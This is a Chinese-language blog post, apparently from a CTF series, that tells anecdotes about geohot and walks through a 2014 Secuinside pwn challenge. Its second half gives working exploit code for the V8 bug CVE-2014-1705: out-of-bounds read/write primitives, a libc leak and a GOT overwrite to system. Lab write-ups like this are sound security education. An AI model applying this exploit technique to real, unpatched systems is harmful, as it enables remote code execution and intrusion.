昨天的 DEVCORE CONF 心得竟然被轉貼... 這樣之後富堅就會尷尬了 QQ BTW,這次的 ithome 挑戰我比較定位在 CTF 的科普+閒聊,題目 write up 的部分我寫的比較簡略 (不然會花太多時間 QQ),如果看完有不懂的地方歡迎發問 :D
在 CTF 蓬勃發展的這幾年,不得不提一個有如神一般的 id tomcr00se
,在對這個 id 有印象是在某次的 CTF irc channel 上,看到 tomcr00se 怒嗆主辦方題目出得很爛 XDDD (印象中是抱怨需要一定程度的 bruteforce 才能拿到 flag,很容易把網站打掛),原本以為是來鬧場的,結果一看 scoreboard 發現他已經要 AK 所有題目了,就差正在抱怨的這題 XD
接下來幾場 CTF 都看到 tomcr00se 名列前茅,尤其是在 2014 年的 Boston Key Party 還拿了第一名 (當年 CTF 常勝軍 PPP 只拿了第三,217 第 17,我....只解了兩題 QQ),後來得知 tomcr00se 並非一個隊伍在打,而是一個人在打,並且得知 tomcr00se 不是他網路上常用的 id,真正 id 是 geohot
,在了解他的事蹟之後,我只能跪在電腦前面打 CTF <(_ _)>
tomcr00se
的個人戰隊參加 CTF 比賽,2014 年以 658.276 的分數在 ctftime 的積分排名第 10 名
今天要講的是 2014 年 Secuinside CTF 出的一道 pwn 題,有個前置題在 Misc 分類,連上會是一個 web 網頁,可以執行任意的 javascript,我們需要先透過 js 可以 overwrite Array.prototype.toString 的特性跳脫 js sandbox 拿到 flag,用同樣的手法打第二道題的環境會得到以下訊息:
Seems like easy? this is a pwnable task. binary:http://54.178.138.53/29084554f8e41b34912a3aebddff81de (release date : Feb 2014)
下載檔案丟進 ida pro 可以看出是用 v8 引擎編成的 elf,題目網站在前端接收到 js request 之後,後端執行這個 elf,把 output 回傳網頁上,binary 做的事情相當單純,就只有把 js 丟進 v8 執行,幾乎沒有漏洞存在的可能性,加上題目敘述特地給了 release date,因此可以推測漏洞是在 v8 引擎裡面,考的其實就是 geohot 在 Pwnium 發現的 CVE-2014-1705,從 upstream fix 我們可以得到 crash POC,以下幾行是關鍵:
var ab4 = new ArrayBuffer(8);
ab4.__defineGetter__("byteLength", function() { return 0xFFFFFFFC; });
var aaaa = new Uint32Array(ab4);
透過 __defineGetter__
重新定義取得 array 長度的 function,導致後面存取 array 時可以達到 out of bound (oob) read/write,由於此漏洞可以透過負數往前讀取,因此可以透過存取 ArrayBuffer 的 structure 輕鬆定位目前 buffer 的 address,再 leak 任意 address 上的資料,這題的 binary 沒有 PIE 和 full RELRO 的保護,只要 hijack GOT 就可以達成 RCE,具體作法如下:
透過 __defineGetter__
重新定義取得 array byteLength,讓後面可以 oob 存取 array
var ab1 = new ArrayBuffer(8);
ab1.**defineGetter**("byteLength", function() { return 0xFFFFFFFC; });
var view = new Uint32Array(ab1);
透過負數的 index 往 buffer 前面讀取,得 buffer 目前在 heap 上的 address
var my_buf = view[18] - 0x2e28
透過 oob read leak fgets GOT 的 value,由於在取得 js 時是透過 fgets 從檔案讀取,因此預期取得的 value 會是 libc 的某個 address,藉以計算 libc_base
function peek(addr) { var diff = addr - my_buf; if (diff < 0) diff += 0x100000000; return view[diff/4]; }
var libc_base = peek(fgets_got) - 0x64660;
透過 oob write 將 fgets got 改寫成 system
function poke(addr, val) { var diff = addr - my_buf; if (diff < 0) diff += 0x100000000; view[diff/4] = val; }
var system = libc_base + 0x403b0;
poke(fgets_got, system);
下一行讀取 js 時輸入 bash 指令,就會變成由 system
執行任意指令